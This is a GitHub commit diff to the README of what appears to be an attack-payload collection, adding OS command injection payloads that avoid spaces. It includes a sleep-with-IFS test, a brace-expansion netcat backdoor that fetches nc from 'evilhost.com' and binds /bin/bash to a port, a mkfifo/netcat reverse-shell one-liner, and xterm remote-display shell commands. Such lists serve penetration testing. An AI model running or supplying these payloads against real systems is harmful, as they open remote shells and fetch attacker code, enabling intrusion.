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Cmd injection without spaces

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Thanks:
Andre Gironda
Ben Toews https://gist.github.com/btoews/3056269
Jon Oberheide https://jon.oberheide.org/blog/2008/09/04/bash-brace-expansion-cleverness/
This commit is contained in:
Adam Muntner 2016-10-03 23:41:58 -04:00 committed by GitHub
parent c261b0955e
commit 0891bb84ec
1 changed files with 21 additions and 7 deletions
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28
attack/os-cmd-execution/README.md
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@ -30,6 +30,20 @@ Backtick
Background
``` `blah & blah2` ```
***Shell commands without spaces***
Using Internal Field Separator (IFS)
Test for cmd injection withouot spaces:<br>
```sleep${IFS:0:1}20```
Example netcat backdoor without spaces:
```{wget,http://evilhost.com/nc}```
```{chmod,+x,./nc}```
```{./nc,-l,-p,6666,-e,/bin/bash```
See: https://jon.oberheide.org/blog/2008/09/04/bash-brace-expansion-cleverness/<br>
**Exfiltrating Files / Data**
FTP
@ -77,14 +91,14 @@ Netcat
``` $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f ```
```
XTERM:
Server:
$ xterm -display 10.0.0.1:1
XTERM:<br>
Server: <br>
```$ xterm -display 10.0.0.1:1```
Listener:
$ Xnest :1
$ xhost +targetip
```
```$ Xnest :1```
```$ xhost +targetip```